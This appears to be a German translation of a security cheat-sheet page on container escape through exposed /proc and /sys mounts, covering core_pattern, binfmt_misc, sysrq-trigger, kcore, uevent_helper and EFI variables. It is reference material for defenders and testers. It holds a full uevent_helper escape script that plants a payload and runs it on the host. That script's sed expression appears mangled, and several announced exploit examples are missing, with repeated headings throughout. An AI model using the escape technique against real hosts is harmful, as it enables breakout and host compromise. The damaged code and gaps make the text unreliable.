Sensitive Mounts
Die Offenlegung von /proc
und /sys
ohne angemessene Namespace-Isolierung birgt erhebliche Sicherheitsrisiken, einschließlich einer Vergrößerung der Angriffsfläche und der Offenlegung von Informationen. Diese Verzeichnisse enthalten sensible Dateien, die bei falscher Konfiguration oder Zugriff durch einen nicht autorisierten Benutzer zu einem Container-Ausbruch, einer Änderung des Hosts oder zur Bereitstellung von Informationen führen können, die weitere Angriffe unterstützen. Beispielsweise kann das falsche Einhängen von -v /proc:/host/proc
den AppArmor-Schutz aufgrund seiner pfadbasierten Natur umgehen und /host/proc
ungeschützt lassen.
Weitere Details zu jeder potenziellen Schwachstelle finden Sie unter https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.
procfs-Schwachstellen
/proc/sys
/proc/sys
Dieses Verzeichnis ermöglicht den Zugriff auf die Änderung von Kernelvariablen, normalerweise über sysctl(2)
, und enthält mehrere Unterordner von Interesse:
/proc/sys/kernel/core_pattern
/proc/sys/kernel/core_pattern
Beschrieben in core(5).
Ermöglicht die Definition eines Programms, das bei der Generierung von Core-Dateien mit den ersten 128 Bytes als Argumenten ausgeführt wird. Dies kann zu einer Codeausführung führen, wenn die Datei mit einem Pipe-Zeichen
|
beginnt.Beispiel für Test und Ausnutzung:
/proc/sys/kernel/modprobe
/proc/sys/kernel/modprobe
Detailliert in proc(5).
Enthält den Pfad zum Kernelmodullader, der zum Laden von Kernelmodulen aufgerufen wird.
Beispiel zur Überprüfung des Zugriffs:
/proc/sys/vm/panic_on_oom
/proc/sys/vm/panic_on_oom
Referenziert in proc(5).
Ein globaler Schalter, der steuert, ob der Kernel bei einem OOM-Zustand in Panik gerät oder den OOM-Killer aufruft.
/proc/sys/fs
/proc/sys/fs
Gemäß proc(5) enthält Optionen und Informationen zum Dateisystem.
Schreibzugriff kann verschiedene Denial-of-Service-Angriffe gegen den Host ermöglichen.
/proc/sys/fs/binfmt_misc
/proc/sys/fs/binfmt_misc
Ermöglicht die Registrierung von Interpretern für nicht native Binärformate basierend auf ihrer Magiezahl.
Kann zu Privilegieneskalation oder Root-Shell-Zugriff führen, wenn
/proc/sys/fs/binfmt_misc/register
beschreibbar ist.Relevanter Exploit und Erklärung:
Ausführliches Tutorial: Video-Link
Andere in /proc
/proc
/proc/config.gz
/proc/config.gz
Kann die Kernelkonfiguration offenlegen, wenn
CONFIG_IKCONFIG_PROC
aktiviert ist.Nützlich für Angreifer, um Schwachstellen im laufenden Kernel zu identifizieren.
/proc/sysrq-trigger
/proc/sysrq-trigger
Ermöglicht das Auslösen von Sysrq-Befehlen, die möglicherweise sofortige Systemneustarts oder andere kritische Aktionen verursachen.
Beispiel zum Neustart des Hosts:
/proc/kmsg
/proc/kmsg
Zeigt Kernelringpuffermeldungen an.
Kann bei Kernel-Exploits, Adresslecks und der Bereitstellung sensibler Systeminformationen helfen.
/proc/kallsyms
/proc/kallsyms
Listet exportierte Kernel-Symbole und deren Adressen auf.
Wesentlich für die Entwicklung von Kernel-Exploits, insbesondere zur Überwindung von KASLR.
Adressinformationen sind mit
kptr_restrict
auf1
oder2
beschränkt.Details in proc(5).
/proc/[pid]/mem
/proc/[pid]/mem
Interagiert mit dem Kernel-Speichergerät
/dev/mem
.Historisch anfällig für Privilegieneskalationsangriffe.
Mehr unter proc(5).
/proc/kcore
/proc/kcore
Stellt den physischen Speicher des Systems im ELF-Core-Format dar.
Das Lesen kann den Speicherinhalt des Host-Systems und anderer Container preisgeben.
Eine große Dateigröße kann zu Leseproblemen oder Softwareabstürzen führen.
Detaillierte Verwendung in Dumping /proc/kcore in 2019.
/proc/kmem
/proc/kmem
Alternative Schnittstelle für
/dev/kmem
, die den virtuellen Kernel-Speicher darstellt.Ermöglicht das Lesen und Schreiben, daher die direkte Modifikation des Kernel-Speichers.
/proc/mem
/proc/mem
Alternative Schnittstelle für
/dev/mem
, die den physischen Speicher darstellt.Ermöglicht das Lesen und Schreiben, die Modifikation des gesamten Speichers erfordert die Auflösung virtueller in physische Adressen.
/proc/sched_debug
/proc/sched_debug
Gibt Informationen zur Prozessplanung zurück und umgeht PID-Namensraumschutzmaßnahmen.
Offenbart Prozessnamen, IDs und cgroup-Bezeichner.
/proc/[pid]/mountinfo
/proc/[pid]/mountinfo
Bietet Informationen über Einhängepunkte im Einhängepunkt-Namensraum des Prozesses.
Offenbart den Speicherort des Container-
rootfs
oder des Images.
sys-Schwachstellen
/sys/kernel/uevent_helper
/sys/kernel/uevent_helper
Wird zur Behandlung von Kernelgeräte-
uevents
verwendet.Das Schreiben in
/sys/kernel/uevent_helper
kann beliebige Skripte beiuevent
-Auslösern ausführen.Beispiel für Ausnutzung: %%%bash
Erstellt eine Nutzlast
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
Ermittelt den Hostpfad aus dem OverlayFS-Einhängepunkt für den Container
host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)
Setzt uevent_helper auf bösartigen Helfer
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
Löst einen uevent aus
echo change > /sys/class/mem/null/uevent
Liest die Ausgabe
cat /output %%%
/sys/class/thermal
/sys/class/thermal
Steuert Temperatureinstellungen, was potenziell DoS-Angriffe oder physische Schäden verursachen kann.
/sys/kernel/vmcoreinfo
/sys/kernel/vmcoreinfo
Gibt Kernel-Adressen preis, was potenziell KASLR gefährden kann.
/sys/kernel/security
/sys/kernel/security
Beherbergt die
securityfs
-Schnittstelle, die die Konfiguration von Linux Security Modules wie AppArmor ermöglicht.Der Zugriff könnte einem Container ermöglichen, sein MAC-System zu deaktivieren.
/sys/firmware/efi/vars
und /sys/firmware/efi/efivars
/sys/firmware/efi/vars
und /sys/firmware/efi/efivars
Bietet Schnittstellen zur Interaktion mit EFI-Variablen im NVRAM.
Fehlkonfiguration oder Ausnutzung kann zu unbrauchbaren Laptops oder nicht bootfähigen Host-Maschinen führen.
/sys/kernel/debug
/sys/kernel/debug
debugfs
bietet eine "keine Regeln" Debugging-Schnittstelle zum Kernel.Geschichte von Sicherheitsproblemen aufgrund seiner uneingeschränkten Natur.
Referenzen
Last updated